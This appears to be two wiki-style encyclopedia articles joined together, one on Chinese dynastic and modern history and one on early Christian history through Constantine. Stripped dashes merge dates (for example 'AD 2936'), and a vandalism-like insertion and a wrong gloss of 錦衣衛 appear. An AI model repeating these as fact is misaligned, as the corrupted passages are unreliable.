          The Song Dynasty is considered by many to be classical China's high point in science and technology, with innovative scholar-officials such as Su Song (1020-1101 AD) and Shen Kuo (1031-1095 AD). There was court intrigue with the political rivals of the Reformers and Conservatives, led by the chancellors Wang Anshi and Sima Guang, respectively. By the mid to late 13th century the Chinese had adopted the dogma of Neo-Confucian philosophy formulated by Zhu Xi. There were enormous literary works compiled during the Song Dynasty, such as the historical work of the Zizhi Tongjian. Culture and the arts flourished, with grandiose artworks such as Along the River During Qingming Festival and Eighteen Songs of a Nomad Flute, while there were great Buddhist painters such as Lin Tinggui.


          


          Yuan Dynasty
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          Jurchen tribes' Jin Dynasty, whose names are also rendered "Jin" in pinyin, was defeated by the Mongols, who then proceeded to defeat the Southern Song in a long and bloody war, the first war where firearms played an important role. During the era after the war, later called the Pax Mongolica, adventurous Westerners such as Marco Polo travelled all the way to China and brought the first reports of its wonders to Europe. In the Yuan Dynasty, the Mongols were divided between those who wanted to remain based in the steppes and those who wished to adopt the customs of the Chinese.


          Kublai Khan (忽必烈/元世祖), grandson of Genghis Khan (成吉思汗), wanting to adopt the customs of China, established the Yuan Dynasty (元朝). This was the first dynasty to rule the whole of China from Beijing (北京) as the capital. Beijing had been ceded to Liao in AD 938 with the Sixteen Prefectures of Yan Yun (燕雲十六州，燕云十六州). Before that, it had been the capital of the Jin, who did not rule all of China.


          Before the Mongol invasion, Chinese dynasties reportedly had approximately 120 million inhabitants; after the conquest was completed in 1279, the 1300 census reported roughly 60 million people. The 14th century epidemics of plague is estimated to have killed 30% of the population of China.


          


          Ming Dynasty
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          Throughout a short-lived Yuan Dynasty, there was strong sentiment, among the populace, against the rule of the foreigners, which finally led to peasant revolts. The Mongolians were pushed back to the steppes and replaced by the Ming Dynasty (明朝) in 1368.


          Urbanization increased as the population grew and as the division of labor grew more complex. Large urban centers, such as Nanjing and Beijing, also contributed to the growth of private industry. In particular, small-scale industries grew up, often specializing in paper, silk, cotton, and porcelain goods. For the most part, however, relatively small urban centers with markets proliferated around the country. Town markets mainly traded food, with some necessary manufactures such as pins or oil.


          Despite the xenophobia and intellectual introspection characteristic of the increasingly popular new school of neo-Confucianism, China under the early Ming Dynasty was not isolated. Foreign trade and other contacts with the outside world, particularly Japan (倭國，倭国), increased considerably. Chinese merchants explored all of the Indian Ocean, reaching East Africa with the voyages of Zheng He (鄭和，郑和, original name Ma Sanbao 馬三保，马三保).


          Zhu Yuanzhang (朱元璋) or ( Hong-wu, 洪武皇帝/明太祖), the founder of the dynasty, laid the foundations for a state interested less in commerce and more in extracting revenues from the agricultural sector. Perhaps because of the Emperor's background as a peasant, the Ming economic system emphasized agriculture, unlike that of the Song and the Mongolian Dynasties, which relied on traders and merchants for revenue. Neo-feudal landholdings of the Song and Mongol periods were expropriated by the Ming rulers. Land estates were confiscated by the government, fragmented, and rented out. Private slavery was forbidden. Consequently, after the death of Emperor Yong-le (永樂皇帝，永乐皇帝/明成祖), independent peasant landholders predominated in Chinese agriculture. These laws might have paved the way to removing the worst of the poverty during the previous regimes.
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          The dynasty had a strong and complex central government that unified and controlled the empire. The emperor's role became more autocratic, although Zhu Yuanzhang necessarily continued to use what he called the "Grand Secretaries"[錦衣衛] to assist with the immense paperwork of the bureaucracy, including memorials (petitions and recommendations to the throne), imperial edicts in reply, reports of various kinds, and tax records. It was this same bureaucracy that later prevented the Ming government from being able to adapt to changes in society, and eventually led to its decline.


          Emperor Yong-le strenuously tried to extend China's influence beyond its borders by demanding other rulers send ambassadors to China to present tribute. A large navy was built, including four-masted ships displacing 1,500tons. A standing army of 1 million troops (some estimate as many as 1.9 million) was created. The Chinese armies conquered Vietnam (安南) for around 20 years, while the Chinese fleet sailed the China seas and the Indian Ocean, cruising as far as the east coast of Africa. The Chinese gained influence in Eastern Turkestan. Several maritime Asian nations sent envoys with tribute for the Chinese emperor. Domestically, the Grand Canal was expanded, and proved to be a stimulus to domestic trade. Over 100,000tons of iron per year were produced. Many books were printed using movable type. The imperial palace in Beijing's Forbidden City reached its current splendor. It was also during these centuries that the potential of south China came to be fully exploited. New crops were widely cultivated and industries such as those producing porcelain and textiles flourished. However, it was also during this period that China fell substantially behind Europe in technological and military power, an event known as the " Great Divergence."


          During the Ming dynasty the last construction on the Great Wall was undertaken to protect China from foreign invasions. While the Great Wall had been built in earlier times, most of what is seen today was either built or repaired by the Ming. The brick and granite work was enlarged, the watch towers were redesigned, and cannons were placed along its length.


          


          Qing Dynasty (1644 - 1911 AD)


          The Qing Dynasty (清朝, 16441911) was founded after the defeat of the Ming, the last Han Chinese dynasty, by the Manchus (滿族，满族). The Manchus were formerly known as the Jurchen and invaded from the north in the late seventeenth century. An estimated 25 million people died during the Manchu conquest of Ming Dynasty (1616-1644). Even though the Manchus started out as alien conquerors, they quickly adopted the Confucian norms of traditional Chinese government. They eventually ruled in the manner of traditional native dynasties.
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          The Manchus enforced a 'queue order' forcing the Han Chinese to adopt the Manchu queue hairstyle and Manchu-style clothing. The traditional Chinese clothing, or Hanfu (漢服，汉服) was also replaced by Manchu-style clothing. Qipao (bannermen dress (旗袍) and Tangzhuang (唐裝)), usually regarded as traditional Chinese clothing nowadays, are actually Manchu-style clothing. The penalty for not complying was death.


          Emperor Kangxi (康熙皇帝/清聖祖) ordered the creation of the most complete dictionary of Chinese characters ever put together at the time. The Manchus set up the "Eight Banners" system (八旗制度) in an attempt to avoid being assimilated into Chinese society. The "Eight Banners" were military institutions, set up to provide a structure with which the Manchu "bannermen" were meant to identify. Banner membership was to be based on traditional Manchu skills such as archery, horsemanship, and frugality. In addition, they were encouraged to use the Manchu language, rather than Chinese. Bannermen were given economic and legal privileges in Chinese cities.


          Over the next half-century, the Manchus consolidated control of some areas originally under the Ming, including Yunnan. They also stretched their sphere of influence over Xinjiang, Tibet and Mongolia. But during the nineteenth century, Qing control weakened. Britain's desire to continue its opium trade with China collided with imperial edicts prohibiting the addictive drug, and the First Opium War erupted in 1840. Britain and other major powers, including the United States, France, Russia, Germany, and Japan thereupon forcibly occupied "concessions" and gained special commercial privileges. Hong Kong was ceded to Britain in 1842 under the Treaty of Nanjing.


          A large rebellion, the Taiping Rebellion (18511864), involved around a third of China falling under control of the Taiping Tianguo, a quasi-Christian religious movement led by the "Heavenly King" Hong Xiuquan. Only after fourteen years were the Taipings finally crushed - the Taiping army was destroyed in the Third Battle of Nanking in 1864. The death toll during the 15 years of the rebellion was about 20 million, making it the second deadliest war in human history.
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          In addition, more costly rebellions in terms of human lives and economics followed with the Punti-Hakka Clan Wars, Nien Rebellion, Muslim Rebellion, Panthay Rebellion and the Boxer Rebellion. In many ways, the rebellions and the unequal treaties the Qing were forced to sign with the imperialist powers are symptomatic of the Qing's inability to deal with the new challenges of the 19th century.
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          By the 1860s, the Qing Dynasty had put down the rebellions at enormous cost and loss of life. This undermined the credibility of the Qing regime and, spearheaded by local initiatives by provincial leaders and gentry, contributed to the rise of warlordism in China. The Qing Dynasty under the Emperor Guangxu (光緒皇帝/清德宗) proceeded to deal with the problem of modernization through the Self-Strengthening Movement (自強運動，自强运动). However, between 1898 and 1908 the Empress Dowager Cixi had the reformist Guangxu imprisoned for being 'mentally disabled'. The Empress Dowager (慈禧太后), with the help of conservatives, initiated a military coup, effectively removed the young Emperor from power, and overturned most of the more radical reforms. He died one day before the death of the Empress Dowager (some believe Guangxu was poisoned by Cixi). Official corruption, cynicism, and imperial family quarrels made most of the military reforms useless. As a result, the Qing's " New Armies" were soundly defeated in the Sino-French War (1883-1885) and the Sino-Japanese War (1894-1895).
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          At the start of the 20th century, the Boxer Rebellion threatened northern China. This was a conservative anti-imperialist movement that sought to return China to old ways. The Empress Dowager, probably seeking to ensure her continued grip on power, sided with the Boxers when they advanced on Beijing. In response the Eight-Nation Alliance invaded China. Consisting of British, Japanese, Russian, Italian, German, French, US and Austrian troops, the alliance defeated the Boxers and demanded further concessions from the Qing government.


          


          Modern era


          


          Republic of China


          Frustrated by the Qing court's resistance to reform and by China's weakness, young officials, military officers, and studentsinspired by the revolutionary ideas of Sun Yat-sen (孫中山，孙中山)began to advocate the overthrow of the Qing Dynasty and creation of a republic.


          Slavery in China was abolished in 1910, although the practice apparently still continues unofficially in some regions.


          A revolutionary military uprising, the Wuchang Uprising, began on October 10, 1911 in Wuhan (武漢，武汉). The provisional government of the Republic of China (中華民國，中华民国) was formed in Nanjing on March 12, 1912 with Sun Yat-sen as President, but Sun was forced to turn power over to Yuan Shikai (袁世凱), who commanded the New Army and was Prime Minister under the Qing government, as part of the agreement to let the last Qing monarch abdicate (a decision he would later regret). Yuan Shikai proceeded in the next few years to abolish the national and provincial assemblies and declared himself emperor in 1915. Yuan's imperial ambitions were fiercely opposed by his subordinates, and faced with the prospect of rebellion, Yuan abdicated and died shortly afterwards in 1916, leaving a power vacuum in China. His death left the republican government all but shattered, ushering the warlord era when China was ruled by shifting coalitions of competing provincial military leaders.


          In 1919, the May Fourth Movement (五四運動，五四运动) began as a response to the insult imposed on China by the Treaty of Versailles ending World War I, but quickly became a protest movement about the domestic situation in China. The discrediting of liberal Western philosophy amongst Chinese intellectuals was followed by the adoption of more radical lines of thought. This in turn planted the seeds for the irreconcilable conflict between the left and right in China that would dominate Chinese history for the rest of the century.


          In the 1920s, Sun Yat-Sen established a revolutionary base in south China, and set out to unite the fragmented nation. With Soviet assistance, he entered into an alliance with the fledgling Communist Party of China (CPC, 中國共產黨，中国共产党). After Sun's death from cancer in 1925, one of his protgs, Chiang Kai-shek (蔣介石，蒋介石), seized control of the Kuomintang (Nationalist Party or KMT, 國民黨，国民党) and succeeded in bringing most of south and central China under its rule in a military campaign known as the Northern Expedition (北伐). Having defeated the warlords in south and central China by military force, Chiang was able to secure the nominal allegiance of the warlords in the North. In 1927, Chiang turned on the CPC and relentlessly chased the CPC armies and its leaders from their bases in southern and eastern China. In 1934, driven from their mountain bases such as the Chinese Soviet Republic (中華蘇維埃共和國，中华苏维埃共和国), the CPC forces embarked on the Long March (長征，长征) across China's most desolate terrain to the northwest, where they established a guerrilla base at Yan'an in Shanxi Province (陝西省延安市).


          During the Long March, the communists reorganized under a new leader, Mao Zedong (Mao Tse-tung, 毛澤東，毛泽东). The bitter struggle between the KMT and the CPC continued, openly or clandestinely, through the 14-year long Japanese invasion (1931-1945), even though the two parties nominally formed a united front to oppose the Japanese invaders in 1937, during the Sino-Japanese War (1937-1945) portion of World War II. The war between the two parties resumed following the Japanese defeat in 1945. By 1949, the CPC occupied most of the country. (see Chinese Civil War)


          Chiang Kai-shek fled with the remnants of his government to Taiwan in 1949 and his Nationalist Party would control the island as well as a few neighboring islands until democratic elections in the early 1990s. Since then, the political status of Taiwan has always been under dispute.


          


          Present


          With the proclamation of the People's Republic of China (PRC) (中華人民共和國,中华人民共和国) on October 1, 1949, Taiwan was again politically separated from mainland China. However, the actual political and legal status of Taiwan is disputed. Since the 1990s, the Republic of China government that governs Taiwan along with associated islands as well as some small islands off the coast of Fujian has been pushing to gain greater international recognition, while the People's Republic of China opposes involvement by third parties, and insists that foreign relations not deviate from the One-China policy.
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        History of Christianity


        
          

          The history of Christianity concerns the history of the Christian religion and the Church, from Jesus and his seventy Disciples and twelve Apostles to contemporary times. Christianity is the trinitarian monotheistic religion which considers itself based on the revelation of Jesus Christ. In many Christian denominations "The Church" is understood theologically as the institution founded by Jesus for the salvation of humankind. This understanding is sometimes called High Church. In contrast, Low Church denominations generally emphasize the personal relationship between a believer and Jesus Christ. Other Christians however would say that the Church is not an institution at all. Instead, it is the gathering of beleivers, both on the small local scale, and ultimately in heaven where all beleivers from all nations and times will be gathered together. So church history is not just about the history of institutions, but the major happenings amongst beleivers throughout the world, throughout time.


          Christianity began in 1st century AD Jerusalem as a Jewish sect but quickly spread throughout the Roman Empire and beyond. Although it was originally persecuted, it ultimately became the state religion of Armenia in either 301 or 314, the state religion of Ethiopia in 325, the state religion of Georgia in 337, and then the state religion of the Roman Empire in 380. During the Age of Exploration(C15th to C17th), Christianity expanded throughout the world, becoming the world's largest religion.


          Throughout its history, the religion has weathered schisms and theological disputes that have resulted in many distinct Churches. The largest branches of Christianity are the Roman Catholic Church and the Eastern Orthodox Church, and the Protestant churches.


          


          Life of Jesus (82 BC to AD 2936)


          
            
              	Major events in Jesus' life from the Gospels
            


            
              	
                
                  	Nativity of Jesus


                  	Baptism


                  	Temptation


                  	Ministry


                  	Commissioning Apostles and Disciples


                  	Sermon on the Mount


                  	Miracles


                  	Rejection


                  	Transfiguration


                  	Giving the Evangelical councils


                  	Entering Jerusalem


                  	Cursing the Fig Tree


                  	The Temple Incident


                  	Giving the Great Commandment


                  	Second Coming Prophecy


                  	Promising a Paraclete


                  	Anointing


                  	Last Supper


                  	The Passion:

                    
                      	Arrest


                      	Sanhedrin Trial


                      	Before Pilate


                      	Crucifixion

                    

                  


                  	Entombment


                  	Empty Tomb


                  	Resurrection appearances

                    
                      	Giving the Great Commission

                    

                  


                  	Ascension

                

                

              
            

          


          



          Scholars generally agree that Jesus was born circa 6-4 BC, and that he grew up in Nazareth in Galilee; his ministry included recruiting disciples, who regarded him as a wonderworker, exorcist, healer and/or the Son of God; he was executed by crucifixion in Jerusalem circa AD 33 on orders of the Roman Governor of Iudaea Province, Pontius Pilate; and after his crucifixion, Jesus was buried in a tomb.


          Though the Greek word stauros' is rendered cross in many modern Bible versions, in classical Greek, this word meant merely an upright stake, or pale, see also Cross or stake as gibbet on which Jesus died. Later it also came to be used for an execution stake having a crosspiece. The Imperial Bible-Dictionary acknowledges this, saying: The Greek word for cross, [stauros], properly signified a stake, an upright pole, or piece of paling, on which anything might be hung, or which might be used in impaling [fencing in] a piece of ground. . . . Even amongst the Romans the crux (from which our cross is derived) appears to have been originally an upright pole.Edited by P. Fairbairn (London, 1874), Vol. I, p. 376.


          Christians believe that three days after his death, Jesus bodily rose from the dead and that the empty tomb story is a historical fact. Early works by Jesus's followers document a number of resurrection appearances and the resurrection of Jesus formed the basis and impetus of the Christian faith. His followers wrote that he appeared to the disciples in Galilee and Jerusalem and that Jesus was on the earth for 40 days before his Ascension to heaven and that he will return to earth again to fulfill aspects of Messianic prophecy, such as the resurrection of the dead, the last judgment and the full establishment of the Kingdom of God.


          The main sources of information regarding Jesus' life and teachings are the four canonical Gospels and to a lesser extent the writings of Paul.


          


          Early Christianity (~33325)


          Early Christianity refers to the period when the religion spread in the Greco-Roman world and beyond, from its beginnings as a 1st century Jewish sect, to the end of imperial persecution of Christians after the ascension of Constantine the Great in AD 313, to the First Council of Nicaea in 325. It may be divided into two distinct phases: the apostolic period, when the first apostles were alive and organizing the Church, and the post-apostolic period, when an early episcopal structure developed, whereby bishoprics were governed by bishops (overseers). However, the latter case was greatly frowned upon until the eras of Constantine, Gregory, and Pope Boniface II.


          


          Apostolic Church


          The Apostolic Church, or Primitive Church, was the community led by Jesus' apostles and his relatives. According to the Great Commission, the resurrected Jesus commanded the apostles to spread his teachings to all the world. The principal source of information for this period is the Acts of the Apostles, which gives a history of the Church from the Great Commission ( 1:311) and Pentecost ( 2) and the establishment of the Jerusalem Church to the spread of the religion among the gentiles ( 10) and Paul's conversion ( 9, 22, 26) and eventual imprisonment (house arrest: 28:3031) in Rome in the mid-first century. However, the historical accuracy of Acts is also disputed and may conflict with accounts in the Epistles of Paul.


          The first Christians were essentially all ethnically Jewish or Jewish Proselytes. In other words, Jesus preached to the Jewish people and called from them his first disciples, though the earliest documented "group" of appointed evangelizers, called the Seventy Disciples, was not specifically ethnically Jewish. An early difficulty arose concerning the matter of Gentile (non-Jewish) converts as to whether they had to "become Jewish" (usually referring to circumcision and adherence to dietary law, see also Judaize) as part of becoming Christian. The decision of Peter, as evidenced by conversion of the Centurion Cornelius, was that they did not, and the matter was further addressed with the Council of Jerusalem, see also Primacy of Simon Peter. See Biblical law in Christianity for the modern debate. For the parallel in Judaism, see Noahide Law.


          The doctrines of the apostles brought the Early Church into conflict with some Jewish religious authorities, and this eventually led to the martyrdom of SS. Stephen and James the Great and expulsion from the synagogues, see also Council of Jamnia. Thus, Christianity acquired an identity distinct from Rabbinic Judaism, see also List of events in early Christianity and Christianity and Judaism. The name " Christian" ( Greek ό) was first applied to the disciples in Antioch, as recorded in Acts 11:26.


          


          Worship of Jesus
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          The sources for the beliefs of the apostolic community include the Gospels and New Testament Epistles. The very earliest accounts are contained in these texts, such as early Christian creeds and hymns, as well as accounts of the Passion, the empty tomb, and Resurrection appearances; often these are dated to within a decade or so of the crucifixion of Jesus, originating within the Jerusalem Church.


          The earliest Christian creeds and hymns express belief in the risen Jesus, e.g., that preserved in 1Corinthians 15:34 quoted by Paul: "For what I received I passed on to you as of first importance: that Christ died for our sins according to the Scriptures, that he was buried, that he was raised on the third day according to the Scriptures." The antiquity of the creed has been located by many scholars to less than a decade after Jesus' death, originating from the Jerusalem apostolic community, and no scholar dates it later than the 40s. Other relevant and very early creeds include 1John 4:2, 2Timothy 2:8, Romans 1:34, and 1Timothy 3:16, an early creedal hymn.


          


          Jewish continuity
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          Early Christianity retained some of the doctrines and practices of first-century Judaism while rejecting others. They held the Jewish scriptures to be authoritative and sacred, employing mostly the Septuagint translation, later called the Old Testament, and added other texts as the New Testament canon developed. Christianity also continued other Judaic practices: baptism, liturgical worship, including the use of incense, an altar, a set of scriptural readings adapted from synagogue practice, use of sacred music in hymns and prayer, and a religious calendar, as well as other distinctive features such as an exclusively male priesthood, and ascetic practices ( fasting etc.). Circumcision was rejected as a requirement at the Council of Jerusalem. Quartodecimanism was rejected at the First Council of Nicaea and Sabbath observance was modified, see Sabbath in Christianity for details.


          The early Christians in first century believed Yahweh to be the Only true God, the God of Israel, and considered Jesus to be the Messiah ( Christ) prophesied in the Old Testament.


          Alister McGrath claimed that many of the Jewish Christians were fully faithful religious Jews, only differing in their acceptance of Jesus as the Messiah.


          


          Ecclesiastical structure


          The organization of the apostolic church was Overseers (Bishops, Elders, Presbyters, Pastures), and Servants (Deacons). Always a plurality of men. Clement, a Bishop of Rome, refers to the leaders of the Corinthian church as bishops and presbyters indifferently. He writes that the bishops are to lead God's flock by virtue of the chief Shepherd-Jesus Christ. the congregation under them cannot disavow them as Elders(unless for good reason).


          Important bishops of the apostolic era include Clement of Rome and Ignatius of Antioch.


          


          Apostolic Fathers


          A few early church fathers, such as Polycarp, reportedly knew apostles personally and are sometimes called apostolic fathers.


          


          Post-Apostolic Church
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          The post-apostolic period concerns the time roughly after the death of the apostles (for they died at different times, of course) when bishops emerged as overseers of urban Christian populations, and continues during the time of persecutions until the legalization of Christian worship with the advent of Constantine the Great. The earliest recorded use of the terms Christianity (Greek ό) and Catholic (Greek ό), dates to this period, attributed to Ignatius of Antioch c. 107.


          


          Persecutions


          From the beginning, Christians were subject to various persecutions. This involved even death for Christians such as Stephen ( Acts 7:59) and James, son of Zebedee ( 12:2). Larger-scale persecutions followed at the hands of the authorities of the Roman Empire, beginning with the year 64, when, as reported by the Roman historian Tacitus, the Emperor Nero blamed them for that year's great Fire of Rome.


          According to Church tradition, it was under Nero's persecution that SS. Peter and Paul were each martyred in Rome. Similarly, several of the New Testament writings mention persecutions and stress endurance through them. For 250 years Christians suffered from sporadic persecutions for their refusal to worship the Roman emperor, considered treasonous and punishable by execution. In spite of these at-times intense persecutions, the Christian religion continued its spread throughout the Mediterranean Basin.


          


          Ecclesiastical structure


          By the late first and early second century, a hierarchical and episcopal structure becomes clearly visible. Post-apostolic bishops of importance are SS Polycarp of Smyrna and Irenaeus of Lyons. This structure was based on the doctrine of Apostolic Succession where, by the ritual of the laying on of hands, a bishop becomes the spiritual successor of the previous bishop in a line tracing back to the apostles themselves. Each Christian community also had presbyters, as was the case with Jewish communities, who were also ordained and assisted the bishop; as Christianity spread, especially in rural areas, the presbyters exercised more responsibilities and took distinctive shape as priests. Lastly, deacons also performed certain duties, such as tending to the poor and sick.


          


          Early Christian writings


          As Christianity spread, it acquired certain of some gay members from well-educated circles of the Hellenistic world; they sometimes became bishops but not always. They produced two sorts of works: theological and "apologetic", the latter being works aimed at defending the faith by using reason to refute arguments against the veracity of Christianity. These authors are known as the Church Fathers, and study of them is called Patristics. Notable early Fathers include Ignatius of Antioch, Polycarp, Justin Martyr, Irenaeus, Tertullian, Clement of Alexandria, Origen, etc.etc


          


          Early iconography
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          Christian art only emerged relatively late, and the first known Christian images emerge from about 200 AD. This early rejection of images, although never proclaimed by theologians, leaves us with little archaeological records regarding early Christianity and its evolution. The oldest Christian paintings are from the Roman Catacombs, dated to about 200 AD, and the oldest Christian sculptures are from sarcophagi, dating to the beginning of the 3rd century.


          


          Early heresies


          The New Testament itself speaks of the importance of maintaining orthodox doctrine and refuting heresies, showing the antiquity of the concern. Because of the biblical proscription against false prophets (notably the Gospels of Matthew and Mark) Christianity has always been preoccupied with the "correct", or orthodox, interpretation of the faith. Indeed one of the main roles of the bishops in the early Church was to determine the correct interpretations and refute contrarian opinions (referred to as heresy). As there were differing opinions among the bishops, defining orthodoxy would consume the Church for some time (and still does, hence, "denominations").


          In his book Orthodoxy, Christian Apologist and writer G. K. Chesterton asserts that there have been substantial disagreements about faith from the time of the New Testament and Jesus. He pointed out that the Apostles all argued against changing the teachings of Christ as did the earliest church fathers including Ignatius of Antioch, Irenaeus, Justin Martyr and Polycarp (see false prophet, the antichrist, the gnostic Nicolaitanes from the Book of Revelation and Man of Sin). Jesus also refers to false prophets ( Mark 13:2123) and the " darnel" ( Matthew 13:2530, 13:3643) of the flock and how their distortion of the Christian faith is to be rejected.


          The earliest controversies were generally Christological in nature; that is, they were related to Jesus' (eternal) divinity or humanity. Docetism held that Jesus' humanity was merely an illusion, thus denying the incarnation. Arianism held that Jesus, while not merely mortal, was not eternally divine and was, therefore, of lesser status than God the Father ( John 14:28). Trinitarianism held that God the Father, God the Son, and the Holy Spirit were all strictly one being with three hypostases. Many groups held dualistic beliefs, maintaining that reality was composed into two radically opposing parts: matter, usually seen as evil, and spirit, seen as good. Others held that both the material and spiritual worlds were created by God and were therefore both good, and that this was represented in the unified divine and human natures of Christ.


          The development of doctrine, the position of orthodoxy, and the relationship between the various opinions is a matter of continuing academic debate. Since most Christians today subscribe to the doctrines established by the Nicene Creed, modern Christian theologians tend to regard the early debates as a unified orthodox position against a minority of heretics. Other scholars, drawing upon, among other things, distinctions between Jewish Christians, Pauline Christians, and other groups such as Gnostics and Marcionites, argue that early Christianity was fragmented, with contemporaneous competing orthodoxies.


          


          Biblical canon
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          The Biblical canon is the set of books Christians regard as divinely inspired and thus constituting the Christian Bible. Though the Early Church used the Old Testament according to the canon of the Septuagint (LXX), the apostles did not otherwise leave a defined set of new scriptures; instead the New Testament developed over time.


          The writings attributed to the apostles circulated amongst the earliest Christian communities. The Pauline epistles were circulating in collected form by the end of the first century AD. Justin Martyr, in the early second century, mentions the "memoirs of the apostles", which Christians called "gospels" and which were regarded as on par with the Old Testament. A four gospel canon (the Tetramorph) was in place by the time of Ireanaeus, c. 160, who refers to it directly. By the early 200's, Origen may have been using the same 27 books as in the modern New Testament, though there were still disputes over the canonicity of Hebrews, James, II Peter, II and III John, and Revelation, see also Antilegomena. Likewise the Muratorian fragment shows that by 200 there existed a set of Christian writings somewhat similar to what is now the New Testament, which included the four gospels. Thus, while there was a good measure of debate in the Early Church over the New Testament canon, the major writings were accepted by almost all Christians by the middle of the second century.


          In his Easter letter of 367, Athanasius, Bishop of Alexandria, gave a list of exactly the same books as what would become the New Testament canon, and he used the word "canonized" (kanonizomena) in regards to them. The African Synod of Hippo, in 393, approved the New Testament, as it stands today, together with the Septuagint books, a decision that was repeated by Councils of Carthage in 397 and 419. These councils were under the authority of St. Augustine, who regarded the canon as already closed. Pope Damasus I's Council of Rome in 382, if the Decretum Gelasianum is correctly associated with it, issued a biblical canon identical to that mentioned above, or if not the list is at least a sixth century compilation. Likewise, Damasus's commissioning of the Latin Vulgate edition of the Bible, c. 383, was instrumental in the fixation of the canon in the West. In 405, Pope Innocent I sent a list of the sacred books to a Gallic bishop, Exsuperius of Toulouse. When these bishops and councils spoke on the matter, however, they were not defining something new, but instead "were ratifying what had already become the mind of the Church." Thus, from the fourth century, there existed unanimity in the West concerning the New Testament canon (as it is today), and by the fifth century the East, with a few exceptions, had come to accept the Book of Revelation and thus had come into harmony on the matter of the canon. Nonetheless, a full dogmatic articulation of the canon was not made until the Council of Trent of 1546 for Roman Catholicism, the Thirty-Nine Articles of 1563 for the Church of England, the Westminster Confession of Faith of 1647 for Calvinism, and the Synod of Jerusalem of 1672 for the Greek Orthodox.


          


          Church of the Roman Empire (313476)
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          Christianity in Late Antiquity begins with the ascension of Constantine to the Emperorship of Rome in the early fourth century, and continues until the advent of the Middle Ages. The terminus of this period is variable because the transformation to the sub-Roman period was gradual and occurred at different times in different areas. It may generally be dated as lasting to the late sixth century and the reconquests of Justinian, though a more traditional date is 476, the year that Romulus Augustus, traditionally considered the last western emperor, was deposed.


          


          Christianity legalized


          Galerius issued an edict permitting the practice of the Christian religion under his rule in April of 311. In 313 Constantine I and Licinius announced toleration of Christianity in the Edict of Milan. Constantine would become the first Christian emperor. By 391, under the reign of Theodosius I, Christianity had become the most popular, or state religion. Constantine I, the first emperor to embrace Christianity, was also the first emperor to openly promote the newly legalized religion.


          


          Constantine the Great
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          The Emperor Constantine I was exposed to Christianity by his mother, Helena. There is scholarly controversy, however, as to whether Constantine adopted his mother's humble Christianity in his youth, or whether he adopted it gradually over the course of his life.


          Christian sources record that Constantine experienced a dramatic event in 312 at the Battle of Milvian Bridge, after which Constantine would claim the emperorship in the West. According to these sources, Constantine looked up to the sun before the battle and saw a cross of light above it, and with it the Greek words "  " ("by this, conquer!", often rendered in the Latin " in hoc signo vinces"); Constantine commanded his troops to adorn their shields with a Christian symbol (the Chi-Ro), and thereafter they were victorious. How much Christianity Constantine adopted at this point is difficult to discern; most influential people in the empire, especially high military officials, were still pagan, and Constantine's rule exhibited at least a willingness to appease these factions. The Roman coins minted up to eight years subsequent to the battle still bore the images of Roman gods. Nonetheless, the accession of Constantine was a turning point for the Christian Church. After his victory, Constantine supported the Church financially, built various basilicas, granted privileges (e.g., exemption from certain taxes) to clergy, promoted Christians to high ranking offices, and returned property confiscated during the Great Persecution of Diocletian. Between 324 and 330, Constantine built, virtually from scratch, a new imperial capital at Byzantium on the Bosphorus (it came to be named for him: Constantinople)the city employed overtly Christian architecture, contained churches within the city walls (unlike "old" Rome), and had no pagan temples. In accordance with the prevailing customs, Constantine was baptized on his deathbed.


          Constantine also played an active role in the leadership of the Church. In 313, he issued the Edict of Milan, legalizing Christian worship. In 316, he acted as a judge in a North African dispute concerning the Donatist controversy. More significantly, in 325 he summoned the Council of Nicaea, effectively the first Ecumenical Council (unless the Council of Jerusalem is so classified), to deal mostly with the Arian controversy, but which also issued the Nicene Creed, which among other things professed a belief in One Holy Catholic Apostolic Church, the start of Christendom. The reign of Constantine established a precedent for the position of the Christian Emperor in the Church. Emperors considered themselves responsible to God for the spiritual health of their subjects, and thus they had a duty of maintain orthodoxy. The emperor did not decide doctrine  that was the responsibility of the bishops  rather his role was to enforce doctrine, root out heresy, and uphold ecclesiastical unity. The emperor ensured that God was properly worshiped in his empire; what proper worship consisted of was the responsibility of the church. This precedent would continue until certain emperors of the fifth and six centuries sought to alter doctrine by imperial edict without recourse to councils, though even after this Constantine's precedent generally remained the norm.


          The reign of Constantine, nonetheless, does not represent a complete acceptance, or end of persecution, of Christianity in the empire. His successor in the East, Constantius II, was an Arian who kept Arian bishops at his court and installed them in various sees, expelling the orthodox bishops.


          Constantius's successor, Julian, known in the Christian world as Julian the Apostate, was a philosopher who upon becoming emperor renounced Christianity and embraced a Neo-platonic and mystical form of paganism shocking the Christian establishment. Intent on re-establishing the prestige of the old pagan beliefs, he modified them to resemble Christian traditions such as the episcopal structure and public charity (hitherto unknown in Roman paganism). Julian eliminated most of the privileges and prestige previously afforded to the Christian Church as the official state religion. His reforms attempted to create a form of religious heterogeneity by, among other things, reopening pagan temples, accepting Christian bishops previously exiled as heretics, promoting Judaism, and returning Church lands to their original owners. However, Julian's short reign ended when he died while campaigning in the East.


          Christianity came to dominance during the reign of Julian's successors, Jovian, Valentinian I, and Valens (the last Eastern Arian Christian Emperor). On February 27, 380, Theodosius I issued the edict De Fide Catolica establishing "Catholic Christianity" as the exclusive official state religion, outlawed other faiths, and closed pagan temples.(Theodosian Code XVI.1.2; and Sozomen, "Ecclesiastical History", VII, iv.) Additional prohibitions were passed by Theodosius I in 391 further proscribing remaining pagan practices.


          


          Diocesan structure


          After legalization, the Church adopted the same organizational boundaries as the Empire: geographical provinces, called dioceses, corresponding to imperial governmental territorial division. The bishops, who were located in major urban centers as per pre-legalization tradition, thus oversaw each diocese. The bishop's location was his "seat", or "see"; among the sees, five held special eminence: Rome, Constantinople, Jerusalem, Antioch, and Alexandria. The prestige of these sees depended in part on their apostolic founders, from whom the bishops were therefore the spiritual successors, e.g., St. Mark as founder of the See of Alexandria, St. Peter of the See of Rome, etc. There were other significant elements: Jerusalem was the location of Christ's death and resurrection, the site of a first century council, etc., Antioch was where Jesus' followers were first labelled as Christians, it was used in a derogatory way to berate the followers of Jesus the Christ. Rome was where SS. Peter and Paul had been martyred (killed), Constantinople was the "New Rome" where Constantine had moved his capital c. 330, and, lastly, all these cities had important relics.


          


          Papacy and primacy


